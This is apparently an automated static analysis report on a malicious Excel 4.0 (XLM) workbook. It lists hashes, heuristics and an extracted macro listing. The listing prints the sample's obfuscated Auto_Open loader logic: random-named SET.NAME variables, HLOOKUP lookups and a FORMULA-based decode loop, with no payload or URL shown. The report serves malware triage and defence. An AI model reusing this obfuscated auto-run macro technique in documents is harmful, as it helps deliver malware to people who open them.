Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 531b89b53983e1d1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:58 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: d9ba6b20fee536348bd522a27999a7c2 SHA-1: 10a03a266bd14c735a4e9fd27e98cafba0b9a4f0 SHA-256: 531b89b53983e1d199ba031ea61872328f2a8813e6060ca409c31a0d820039c6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6523 bytes
SHA-256: 8b62adca84cbec4b99f37eb4c7bfc3466bc8e2ea16f3f5e0c8f1ecc3b34011b3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qSITjyoH
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F169 
' 0018     24 LABEL : Cell Value, String Constant - dBUzKwBit len=0 
' 0018     22 LABEL : Cell Value, String Constant - doXnjFJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - DXopyq len=0 
' 0018     21 LABEL : Cell Value, String Constant - gCNkVL len=0 
' 0018     21 LABEL : Cell Value, String Constant - GRnfTY len=0 
' 0018     24 LABEL : Cell Value, String Constant - ibrcxsSYk len=0 
' 0018     26 LABEL : Cell Value, String Constant - ipjFmRdiSqh len=0 
' 0018     27 LABEL : Cell Value, String Constant - JWuRKSyHpvaE len=0 
' 0018     26 LABEL : Cell Value, String Constant - kzfUhHWaPrV len=0 
' 0018     20 LABEL : Cell Value, String Constant - LSDej len=0 
' 0018     20 LABEL : Cell Value, String Constant - nnIzT len=0 
' 0018     22 LABEL : Cell Value, String Constant - odjAUsv len=0 
' 0018     22 LABEL : Cell Value, String Constant - OEIAtoW len=0 
' 0018     27 LABEL : Cell Value, String Constant - OyKLpJZehLJM len=0 
' 0018     24 LABEL : Cell Value, String Constant - pFzFcMcob len=0 
' 0018     25 LABEL : Cell Value, String Constant - QodojBupGM len=0 
' 0018     23 LABEL : Cell Value, String Constant - RVWbrjts len=0 
' 0018     23 LABEL : Cell Value, String Constant - tLuWlXoc len=0 
' 0018     20 LABEL : Cell Value, String Constant - tOSCt len=0 
' 0018     26 LABEL : Cell Value, String Constant - WtERPckmBSN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qSITjyoH,F80,"SET.NAME("tOSCt",VALUE("0"))",""
'  qSITjyoH,F82,"SET.NAME("OyKLpJZehLJM",tOSCt)",""
'  qSITjyoH,F87,"SET.NAME("kzfUhHWaPrV",tOSCt)",""
'  qSITjyoH,F92,"SET.NAME("pFzFcMcob",COUNTA(OEIAtoW))",""
'  qSITjyoH,F96,"SET.NAME("ipjFmRdiSqh",COUNTA(DXopyq))",""
'  qSITjyoH,F100,[],""
'  qSITjyoH,F103,"SET.NAME("ibrcxsSYk","")",""
'  qSITjyoH,F108,"OyKLpJZehLJM",""
'  qSITjyoH,F111,"SET.NAME("JWuRKSyHpvaE",HLOOKUP("*",OEIAtoW,OyKLpJZehLJM,FALSE))",""
'  qSITjyoH,F114,"LSDej",""
'  qSITjyoH,F119,"SET.NAME("doXnjFJ",tOSCt)",""
'  qSITjyoH,F121,[],""
'  qSITjyoH,F126,"doXnjFJ",""
'  qSITjyoH,F131,"RVWbrjts",""
'  qSITjyoH,F133,"tLuWlXoc",""
'  qSITjyoH,F135,"nnIzT",""
'  qSITjyoH,F138,"SET.NAME("dBUzKwBit",VALUE(HLOOKUP("*",DXopyq,nnIzT,FALSE)))",""
'  qSITjyoH,F140,"odjAUsv",""
'  qSITjyoH,F142,"ibrcxsSYk",""
'  qSITjyoH,F146,"kzfUhHWaPrV",""
'  qSITjyoH,F149,NEXT(),""
'  qSITjyoH,F151,"QodojBupGM",""
'  qSITjyoH,F155,"SET.NAME("f",INT(T(FORMULA(T(ibrcxsSYk)&"",""&T(QodojBupGM)))))",""
'  qSITjyoH,F158,"WtERPckmBSN",""
'  qSITjyoH,F162,NEXT(),""
'  qSITjyoH,F167,RETURN(),""
'  qSITjyoH,F188,"SET.NAME("gCNkVL",F80)",""
'  qSITjyoH,F190,"OEIAtoW",""
'  qSITjyoH,F194,"SET.NAME("DXopyq",R50C11)",""
'  qSITjyoH,F196,"SET.NAME("WtERPckmBSN",203)",""
'  qSITjyoH,F198,"SET.NAME("GRnfTY",6)",""
'  qSITjyoH,F202,gCNkVL(),""
'  qSITjyoH,F203,HALT(),""

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